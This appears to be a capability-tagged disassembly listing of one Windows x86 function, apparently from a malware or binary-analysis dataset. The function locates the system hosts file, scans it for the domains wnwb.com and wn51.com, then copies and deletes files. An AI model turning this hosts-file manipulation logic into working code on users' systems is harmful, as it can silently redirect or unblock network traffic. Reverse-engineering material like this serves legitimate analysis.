Function at 0x413da0
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4547ec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x818
mov eax, dword [0x46c3ac]
mov dword [esp + 0x810], eax
push ebx
xor eax, eax
push esi
push edi
xor ebx, ebx
mov word [esp + 0x408], bx
mov ecx, 0x81
lea edi, [esp + 0x40a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov byte [esp + 0xf8], bl
mov ecx, 0x40
lea edi, [esp + 0xf9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [esp + 0x610], bx
mov ecx, 0x81
lea edi, [esp + 0x612]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x200], bx
mov ecx, 0x81
lea edi, [esp + 0x202]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea eax, [esp + 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 0x408]
push str.driversetchosts
push ecx
call fcn.004323d1
lea edx, [esp + 0x410]
push edx
lea eax, [esp + 0x20c]
push eax
call fcn.004323fb
lea ecx, [esp + 0x210]
push 0x457ef8
push ecx
call fcn.004323d1
lea edx, [esp + 0x420]
push edx
lea eax, [esp + 0x62c]
push eax
call fcn.004323fb
mov ecx, dword [0x46d488]
add esp, 0x20
call fcn.0040c710
mov edx, dword [eax]
lea ecx, [esp + 0xf8]
push ecx
lea ecx, [esp + 0x614]
push ecx
mov ecx, eax
call dword [edx + 8]
mov esi, 1
push esi
push 0x1b6
push esi
lea edx, [esp + 0x104]
push edx
lea ecx, [esp + 0x38]
call fcn.00413bb0
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x30]
test al, 6
mov dword [esp + 0x82c], ebx
jne 0x4141eb
mov eax, 0xf
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xe0], bl
push ebx
push 0x4587e1
lea ecx, [esp + 0xc8]
mov byte [esp + 0x834], 1
mov dword [esp + 0x14], ebx
mov dword [esp + 0xe0], eax
mov dword [esp + 0xdc], ebx
mov byte [esp + 0xcc], bl
call fcn.00404e90
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 4]
mov eax, dword [esp + eax + 0x30]
xor edi, edi
test al, 1
mov byte [esp + 0x82c], 2
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebx
jne 0x414039
lea esp, [esp]
push 0xa
lea ecx, [esp + 0xe0]
push ecx
lea edx, [esp + 0x30]
push edx
call fcn.004134c0
mov eax, dword [esp + 0xfc]
add esp, 0xc
cmp eax, ebx
je 0x414027
push 8
push ebx
push 0x4587d8
lea ecx, [esp + 0xe8]
call fcn.00411cb0
cmp eax, 0xffffffff
jle 0x413fb9
mov dword [esp + 0x14], esi
mov dword [esp + 0xc], esi
jmp 0x414027
push 8
push ebx
push str.wnwb.com
lea ecx, [esp + 0xe8]
call fcn.00411cb0
cmp eax, 0xffffffff
jle 0x413fdc
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], esi
jmp 0x414027
push 8
push ebx
push str.wn51.com
lea ecx, [esp + 0xe8]
call fcn.00411cb0
cmp eax, 0xffffffff
jle 0x413ffd
mov edi, esi
mov dword [esp + 0xc], esi
jmp 0x414027
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0xe4]
push eax
lea ecx, [esp + 0xcc]
call fcn.00412fb0
push 2
push 0x4587bc
lea ecx, [esp + 0xc8]
call fcn.004130a0
mov ecx, dword [esp + 0x28]
mov edx, dword [ecx + 4]
test byte [esp + edx + 0x30], 1
je 0x413f70
lea ecx, [esp + 0x30]
call fcn.00413aa0
test eax, eax
jne 0x41406a
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x30]
mov edx, dword [esp + ecx + 0x50]
lea ecx, [esp + ecx + 0x28]
or eax, 2
cmp edx, ebx
jne 0x414063
or eax, 4
push ebx
push eax
call fcn.00445591
mov eax, dword [esp + 0x14]
or esi, 0xffffffff
cmp eax, ebx
je 0x414088
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x4140a2
cmp edi, ebx
je 0x4140ab
mov esi, 6
jmp 0x4140ab
cmp dword [esp + 0x10], ebx
je 0x4140ba
cmp edi, ebx
je 0x41409b
cmp edi, ebx
mov esi, 5
jne 0x4140cb
mov esi, 1
jmp 0x4140cb
cmp edi, ebx
je 0x4140ab
mov esi, 4
cmp eax, ebx
je 0x4140c5
cmp edi, ebx
jne 0x4140cb
mov esi, 3
jmp 0x4140cb
cmp edi, ebx
je 0x4140cb
mov esi, 2
jmp 0x4140cb
cmp edi, ebx
jne 0x4140cb
xor esi, esi
mov ecx, dword [0x46d488]
call fcn.0040c720
mov dword [eax + 0x4cc], esi
cmp dword [esp + 0xc], ebx
mov esi, 0x10
je 0x41418a
push 0x1001
lea ecx, [esp + 0x204]
push ecx
lea ecx, [esp + 0x20]
call fcn.0044ca16
cmp dword [esp + 0x1c], ebx
mov byte [esp + 0x82c], 3
jne 0x414122
lea ecx, [esp + 0x18]
mov byte [esp + 0x82c], 2
call fcn.0044c626
jmp 0x41418a
cmp dword [esp + 0xd8], esi
mov eax, dword [esp + 0xc4]
jae 0x414139
lea eax, [esp + 0xc4]
mov ecx, dword [esp + 0xd4]
push ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0044c33a
lea ecx, [esp + 0x18]
call fcn.0044c585
push ebx
lea edx, [esp + 0x614]
push edx
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [esp + 0x200]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x18]
mov byte [esp + 0x82c], 2
call fcn.0044c626
cmp dword [esp + 0xd8], esi
jb 0x4141a3
mov edx, dword [esp + 0xc4]
push edx
call fcn.0044b775
add esp, 4
cmp dword [esp + 0xf4], esi
mov edi, 0xf
mov dword [esp + 0xd8], edi
mov dword [esp + 0xd4], ebx
mov byte [esp + 0xc4], bl
jb 0x4141d6
mov eax, dword [esp + 0xe0]
push eax
call fcn.0044b775
add esp, 4
mov dword [esp + 0xf4], edi
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xe0], bl
lea ecx, [esp + 0x8c]
mov dword [esp + 0x82c], 0xffffffff
call fcn.00413cf0
lea ecx, [esp + 0x8c]
mov dword [esp + 0x8c], 0x4586ec
call fcn.004454a7
mov ecx, dword [esp + 0x824]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x81c]
call fcn.00431d98
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret